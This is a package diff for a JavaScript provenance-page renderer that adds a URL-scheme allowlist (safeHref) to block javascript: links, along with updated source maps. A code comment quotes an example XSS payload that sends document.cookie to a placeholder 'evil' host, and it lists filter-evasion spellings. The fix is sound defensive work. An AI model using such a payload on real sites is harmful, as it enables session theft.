aimeat 2.6.0 → 2.7.0

package/dist/src/services/ai-provenance-page.js

@@ -3,6 +3,36 @@ function esc(s) {
         .replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;')
         .replace(/"/g, '&quot;').replace(/'/g, '&#39;');
 }
+/**
+ * The escaped href for a caller-supplied URL, or `null` when its SCHEME is not one we will link.
+ *
+ * esc() stops a value breaking OUT of the attribute; it says nothing about what the attribute then
+ * means. `javascript:fetch("https://evil/"+document.cookie)` survives escaping intact and becomes a
+ * working link — and this page is served from the apex, where the session cookie lives, from a link
+ * the platform actively tells people to click inside somebody else's app. Escaping and scheme are
+ * two different jobs, and this is the second one.
+ *
+ * ALLOWLIST, NEVER A BLOCKLIST. No stripping of "javascript:" and keeping the rest: that is a
+ * rewrite-the-attacker's-string game, and it is lost by `java\tscript:`, `JaVaScRiPt:`, a leading
+ * newline, or the next encoding nobody thought of. Two schemes are permitted and everything else —
+ * including `data:` and anything relative that could resolve oddly — is simply not a link.
+ *
+ * The caller renders a refusal as TEXT rather than dropping it: see the call site. A page that
+ * quietly hides part of what a record says fails the same way as one that renders it dangerously.
+ */
+export function safeHref(url) {
+    if (typeof url !== 'string')
+        return null;
+    const raw = url.trim();
+    // canParse rather than try/catch: an unparseable address is an ANSWER here ("not a link"), not a
+    // failure to swallow, and saying so without a catch keeps that distinction visible.
+    if (!URL.canParse(raw))
+        return null;
+    const parsed = new URL(raw);
+    if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:')
+        return null;
+    return esc(parsed.href);
+}
 /** Localized copy. Only the CHROME lives here; every statement of fact comes off the record. */
 const COPY = {
     en: {
@@ -71,6 +101,8 @@ code{font-family:ui-monospace,SFMono-Regular,Menlo,monospace;font-size:.9em}
 ol{margin:.3rem 0 0;padding-left:1.2rem}
 li{margin-bottom:.3rem;overflow-wrap:anywhere}
 a{color:var(--accent)}
+.badhref{font-family:ui-monospace,SFMono-Regular,Menlo,monospace;font-size:.85em;color:var(--dim);
+ word-break:break-all}
 .note{color:var(--dim);font-size:.9rem;margin:.6rem 0 0}
 .actions{display:flex;flex-wrap:wrap;gap:.75rem;margin-top:.75rem}
 @media (max-width:32rem){dl{grid-template-columns:1fr;gap:.15rem}dt{margin-top:.5rem}}
@@ -159,7 +191,17 @@ ${row(t.stampedBy, stamped ? esc(stamped) : '')}
 
 ${sources.length ? `<h2>${esc(t.sources)}</h2>
 <div class="card"><ol>
-${sources.map(s => `<li><a href="${esc(s.url)}" rel="noopener noreferrer nofollow" target="_blank">${esc(s.title || s.url)}</a>${s.retrievedAt ? ` <span class="note">(${esc(String(s.retrievedAt).slice(0, 10))})</span>` : ''}</li>`).join('\n')}
+${sources.map(s => {
+        const href = safeHref(s.url);
+        const when = s.retrievedAt ? ` <span class="note">(${esc(String(s.retrievedAt).slice(0, 10))})</span>` : '';
+        // A scheme we will not link is shown VERBATIM as text — the reader sees exactly what the record
+        // declared, and can judge it, which is the whole point of publishing the record. The address is
+        // shown rather than the title here on purpose: a title is the attacker's string too, and behind a
+        // dead link it would be the only thing on screen.
+        if (!href)
+            return `<li><span class="badhref">${esc(s.url)}</span>${when}</li>`;
+        return `<li><a href="${href}" rel="noopener noreferrer nofollow" target="_blank">${esc(s.title || s.url)}</a>${when}</li>`;
+    }).join('\n')}
 </ol></div>` : ''}
 
 ${record.attestation?.contentHash ? `<h2>${esc(t.hash)}</h2>

package/dist/src/services/ai-provenance-page.js.map

@@ -1 +1 @@
-{"version":3,"file":"ai-provenance-page.js","sourceRoot":"","sources":["../../../src/services/ai-provenance-page.ts"],"names":[],"mappings":"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"}
+{"version":3,"file":"ai-provenance-page.js","sourceRoot":"","sources":["../../../src/services/ai-provenance-page.ts"],"names":[],"mappings":"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"}

package/dist/src/utils/build-stamp.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"build-stamp.d.ts","sourceRoot":"","sources":["../../../src/utils/build-stamp.ts"],"names":[],"mappings":"AAoBA,MAAM,WAAW,UAAU;IACzB,cAAc,EAAE,MAAM,CAAC;IACvB,OAAO,EAAE,MAAM,CAAC;IAChB,MAAM,EAAE,MAAM,GAAG,IAAI,CAAC;IACtB,KAAK,EAAE,OAAO,GAAG,IAAI,CAAC;IACtB,QAAQ,EAAE,MAAM,CAAC;IACjB,mBAAmB,EAAE,MAAM,CAAC;IAC5B,WAAW,EAAE,MAAM,EAAE,CAAC;CACvB;AAED,MAAM,WAAW,cAAc;IAC7B;;;;;OAKG;IACH,KAAK,EAAE,OAAO,GAAG,OAAO,GAAG,QAAQ,GAAG,SAAS,CAAC;IAChD,KAAK,EAAE,UAAU,GAAG,IAAI,CAAC;IACzB,kFAAkF;IAClF,OAAO,EAAE,MAAM,GAAG,IAAI,CAAC;CACxB;AAUD,gGAAgG;AAChG,wBAAgB,cAAc,IAAI,UAAU,GAAG,IAAI,CAOlD;AAuBD;;;GAGG;AACH,eAAO,MAAM,cAAc,OAAO,CAAC;AAEnC;;;;;;;;GAQG;AACH,wBAAgB,gBAAgB,CAAC,KAAK,EAAE,UAAU,GAAG,IAAI,EAAE,YAAY,EAAE,MAAM,GAAG,cAAc,CAc/F;AAED;;;;;;;GAOG;AACH,wBAAgB,aAAa,CAAC,SAAS,EAAE,cAAc,EAAE,KAAK,EAAE,CAAC,IAAI,EAAE,MAAM,KAAK,IAAI,GAAG,IAAI,CAa5F;AAED;;;;GAIG;AACH,wBAAgB,aAAa,CAAC,SAAS,EAAE,cAAc,GAAG,MAAM,CAAC,MAAM,EAAE,OAAO,CAAC,CAQhF;AAED,oEAAoE;AACpE,wBAAgB,mBAAmB,IAAI,cAAc,CAOpD"}
